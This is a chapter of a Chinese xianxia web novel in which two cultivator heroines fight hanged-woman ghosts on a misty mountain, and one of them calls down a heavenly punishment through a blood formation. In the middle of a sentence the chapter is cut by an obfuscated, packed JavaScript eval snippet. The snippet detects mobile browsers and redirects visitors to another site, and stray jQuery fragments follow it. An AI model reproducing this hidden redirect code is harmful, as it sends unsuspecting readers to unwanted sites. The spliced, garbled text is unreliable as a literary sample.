89. 玄阴灭煞
作品:《无情道师姐想毕业》 这么想着不知从哪里涌上一股勇气,足尖一点地就向着一个方向冲了过去,距离那些小矮人般的鬼影越来越近,一剑朝着其中两个鬼影拉着的手砍去,她冲过来借着疾跑之力的一剑挥了个空,什么都没有砍到,似乎劈在了棉花上,身子在半空中一晃失去了平衡,重重跌落下来,仰山雪也哐当一声不知掉落在何处,林瑶顺着山坡狼狈地滚了好一段距离,双手胡乱摸索着死死薅住了地上的杂草,一阵阵刺痛钻入掌心,杂草里夹杂着几根荆棘,正常人几乎都会在被扎到血肉的一瞬间缩手,但林瑶此时不敢放手,因为这一滚她已经到了山崖边,除了头和半截肩膀,大半个身子都悬空了,雾山脚下是怪石险沟,摔下去非死即伤,任凭荆棘扎穿手掌也不敢松开,挣扎着想要爬上来,眼前一恍惚,咫尺之遥,夜色的浓与雪地的白形成了一道分明的弧线,弧线上渐渐生长出了一个个黑色的小圆点,大小、相隔的距离都一模一样,那些小黑点越来越大,越来越多,在小山坡的边缘线上无限向两边衍生,它们长出了细长的脖子、干枯的躯干和细长的四肢,手拉手一起往前走。
一股寒意从林瑶脚底腾起,直冷到头发根,万万没想到自己第一次出山就这般不利,心里顿时一阵无力与悲凉,怪不得尹星灯从不让她单独行动,自己比起宫玄烛真的差了好远……
她却不知,自己缺乏实战经验是一方面,雾山妖雾弥漫、瘴气横生,对修士全方位压制也是一方面,林瑶纵有十分能耐在这里也发挥不出七成。
与此同时身处山南的宫玄烛也没在雾山讨到什么便宜,身陷奇门遁甲之中挂了不少彩,这个地势对他们一点都不利,解决了企图冲破封印的第一批妖兽几乎耗尽了她全身力气,眼下又被一只狡猾的怅鬼拖进了傀儡噬魂阵中,不管走任何一个方向都能遇到一个身高九尺、一身白丧服、面容惨白如纸的女吊客,飘飘摇摇悬在树上,胸前垂着一条血红的长舌头。
宫玄烛暗咬银牙,手中提着的辟邪魂灯紫芒一闪化作了一把三尺青锋,左手执剑,右手张开,四根如玉似雪的手指从锋芒利刃上划过,寒凉的刺痛感顺着指尖的伤口传至心脏,连心口也在抽搐着疼痛,鲜血滴滴答答滚落,在雪地上烙下一朵朵鲜艳的红梅。
雪原之上,一道提灯身影如同疾兔飞燕,只能瞥见玄衣残影,电光火石间由一棵树前漂至另一棵树前,原本寂静的雪原上开始躁动起来,冻实了的树木咔咔作响,挂在上面的绳子咯嘣嘣地绞动,似乎有什么东西想从上面挣脱。
女人咯咯的笑声、幽怨的轻叹、呜呜咽咽的哭声随风飘荡,整个雾山的山猫野兽俱是胆战心惊,隐匿在洞穴中瑟瑟发抖。
吊客悬着的脚缓缓落下,脚尖点在了雪地上,悬空了不知道多少年的脚后跟缓缓落在平川,嘎巴嘎巴——僵死的骨头里传来令人牙根发酸的一连串声响,她们的脑袋像夜枭一样拧到了身后,又十分自如地转了回来,嗅着血腥味不约而同地朝一个地方走去。
宫玄烛站在引魂阵中心,侧耳倾听着从四面八方传来的赤脚踩在雪地上的嘎吱声,所有的女吊客倾巢出动,她除了因为放血而苍白下去的脸色之外,没有任何多余的表情。
如果这个时候有人御剑出现在雾山上空,飞过宫玄烛所在的这片雪原,就会看到以她为中心,一个古怪的血阵烙印在白茫茫的雪原上,红白相映格外醒目,阵纹如同疯子挥笔在白纸上疯狂涂抹的狂草,有的地方细如游丝,有的地方又是反复涂抹上去的厚重“墨团”,调正角度就会看清,这个盘踞在雪地上意义不明的符号居然是一个字!
与此同时,女吊客已经聚成了一个包围圈,胸前的长舌缓缓摇晃着,粘稠的黑色液体顺着嘴角往下流淌,她们惨白的面孔几乎都遮在蓬乱的黑发里,偶尔从发隙间露出来的眼睛是一片死白,眼球中间有如同针尖一样细小的黑点,滴溜溜乱转。
被这样一群积攒了百年煞气的阴灵包围对于一个道行尚浅的修士来说几乎是个死局,任谁看一眼都会连连咋舌、扼腕叹息,这少年英才十有八九要交待在这里。
但现在南边的荒原上只有宫玄烛一人,她跟林瑶做了同样的选择,独自踏入天星阵中抵御鬼煞,给外面修补阵法的弟子争取时间。
她迟迟没有动作,双手垂落在两侧,眸光有些涣散,双手上的鲜血被风雪一吹凝成了血沙,似乎是因为疲惫过度再也使不上一丝力气了,只能任人宰割。
雪原上寂静地有些诡异,此时连一丝风也没有,树木枯草呆呆地立在荒原上,看着那些奇形怪状的鬼魅逐渐向中心那个人靠近,仿佛在湖心洒下一把鱼饵,饥饿的游鱼都向着食物蜂拥而去,而宫玄烛无疑就是这个鱼饵。
第一只女鬼森森的白骨枯爪已经深深刺穿了她的胳膊,尖利的黑色指甲从一端插入,又从另一端露出头,将她的胳膊掐了个对穿,第二只女鬼钳住了她的双肩,如同蜥蜴般牢牢贴在她后背上,双腿如同两条章鱼触手,紧紧盘在她腰上,长舌扑簌簌缩回口腔中,像回巢的蛇,两颗尖锐的发黑的牙齿生长出来,一口咬在了宫玄烛脆弱的脖颈上。
阴寒之气顺着伤口钻进了经脉里,宫玄烛闷哼一声,身子在原地晃了晃,但没有倒下,随之,更多的阴灵陆陆续续赶来,有的抱住了她的腿,有的爬上她的肩,两腿叉开骑在她脖子上……身上重有千斤,如同压着一座山,心脏似乎随时要超过负荷而砰一声炸裂开来,宫玄烛的脸迅速涨红,颗颗冷汗滑到下颌,双拳攥得死紧,突兀的青筋在手臂上跳动,两条腿瑟瑟发抖,但始终没有倒下。
煞气入体越深,她的意识就越模糊,眼前已经不是雾山雪原了,一阵一阵出现冥界九幽的画面,亡魂磷火忘川水,业火红莲奈何桥……
骑在宫玄烛肩头的那只女鬼用上吊绳死死勒住了她的脖子,勒得她的眼球都快冒出来了,眼角、眼尾渗出了细细的血丝,整张面容恐怖至极,若非眼前的面纱随着呼吸轻轻起伏,让人怀疑她已经死去多时了。
此时,这层面纱被阴森的鬼手撕开,掉落在脚边的三尺青锋上出现了一个模糊的人影,清寒的面容、苍青的衣衫,似乎对着宫玄烛轻轻笑了一下。
宫玄烛咬着牙保持着一丝清明,看着最后一只阴灵爬进了阵圈……
都来了,就别走了。
右手成剑诀缓缓抬起,在胸前直指苍天,左手大拇指卡住剑诀,催动“玄阴灭煞阵”第一字真言咒时,勒在脖颈的上吊绳发出嘎吱吱的声响,被宫玄烛浑身散发出的莹莹青光绷断
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785318|185807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
鬼怪们似乎察觉自己上当受骗了,如同退潮的海水一般迅速从宫玄烛身上下来,连滚带爬就想逃离无形的牢笼,但已经来不及了。
雪地的阵图刷地亮起血红的光芒,如同尖锐的刀刃刺入了群鬼的身体,鬼哭神嚎不绝于耳。
“玄为阴,又为水,演七绝,生九煞。”
立于垓心的玄衣道人侧身一手指天,在她头顶出现了一个青色的光圈,如同水中涟漪般迅速扩散开来,一环套着一环、一层扣着一层,青光如水如丝在夜空中流转,霎时如腾舞的青龙,霎时又如翩飞的青鸟,与地上的血色阵圈相互呼应,天为盖地为炉,将方圆百里的阴灵尽数困住。
“逍遥子,丹心灭,惊雷震,引神罚,”
“祭!”
漆黑如墨染的云层仿佛被一只巨兽撕开了一道狰狞的裂缝,站在天星阵外面的弟子都吓傻了,惊慌失措、你推我搡,齐刷刷抬头看着明晃晃横在头顶上方的裂缝,从来没见过这种天地异象,苍天如同一张纸,中间被利刃划开了一道口子,那道缝隙大得出奇,若落在地上恐怕是深沟巨壑,可是在九万里苍天上只是一道小小的口子,但也足够惊人,它亮得炫目、亮得骇人,如同一道被什么力量束缚在天空的闪电!
“怎么回事啊?”
“天裂了吗?”
“大师姐和二师姐怎么还不出来?”
“我们怎么办啊!”
惊颤的声音响成一片,这时就见天空那道裂缝里,出现了一个东西,仿佛是一团乌云,翻滚纠缠着,变幻无穷,没有本相,乌云边缘还有一道金边,年轻的弟子们仰着头脖子酸疼,眼睛也不敢眨一下,盯得久了眼前发花,再也看不清那团乌云凝结成的形状,忽然之间,那团乌云中心出现了一道血红的竖线,竖线突兀地被压缩得又粗又短,突一下,如同拉圆了的一张弓,乌云里居然睁开了一只血红色的怪眼,它的眼仁是骇人的血红色,瞳孔是深渊般的漆黑,紧接着,越来越多同样的血红色怪眼挤满了裂缝,它们静静注视着地上所有的生灵,仿佛能直直窥透人心,被这些怪眼这么看着,地上的修士个个面色苍白,年龄小点的已经晕死过去,勉强支撑着的人只感觉头皮发麻,颅腔充血,心脏鼓胀得随时要爆裂,心里不敢有一丝杂念,居然忍不住开始在心里忏悔自己以往的罪过,就在他们支撑不住、口鼻眼耳都往外渗血之际,一道苍青色光柱自雾山苍茫的森林里冲天而起,亮得惊心动魄,所有人在炫目的白光里连忙阖上双眼……
不知过了多久,凛冽的风声、树枝摇摆的刷刷声、错乱的呼吸声、血液流淌的声音、毛孔收缩的声音全部传入耳中,众人这才意识到,刚才的一刹那,这个世界仿佛失声了,被那只血红怪眼凝视的世界如同死寂的噩梦,根本没有一丝声音。
可现在,天空依旧黑漆漆的,雪花撕棉扯絮般往下飘落,没有什么血瞳、没有什么裂缝,可大家都知道,刚才的一切不是自己的幻觉。
就在这时,眼前如同水墙的透明屏障表面忽然出现了星星点点的亮光,弟子们如同惊弓之鸟各个祭起法器严阵以待,就见阵纹淡去,一前一后出来两个女子,一个十分狼狈,另一个看着像刚从尸山血海里爬出来的恶鬼。

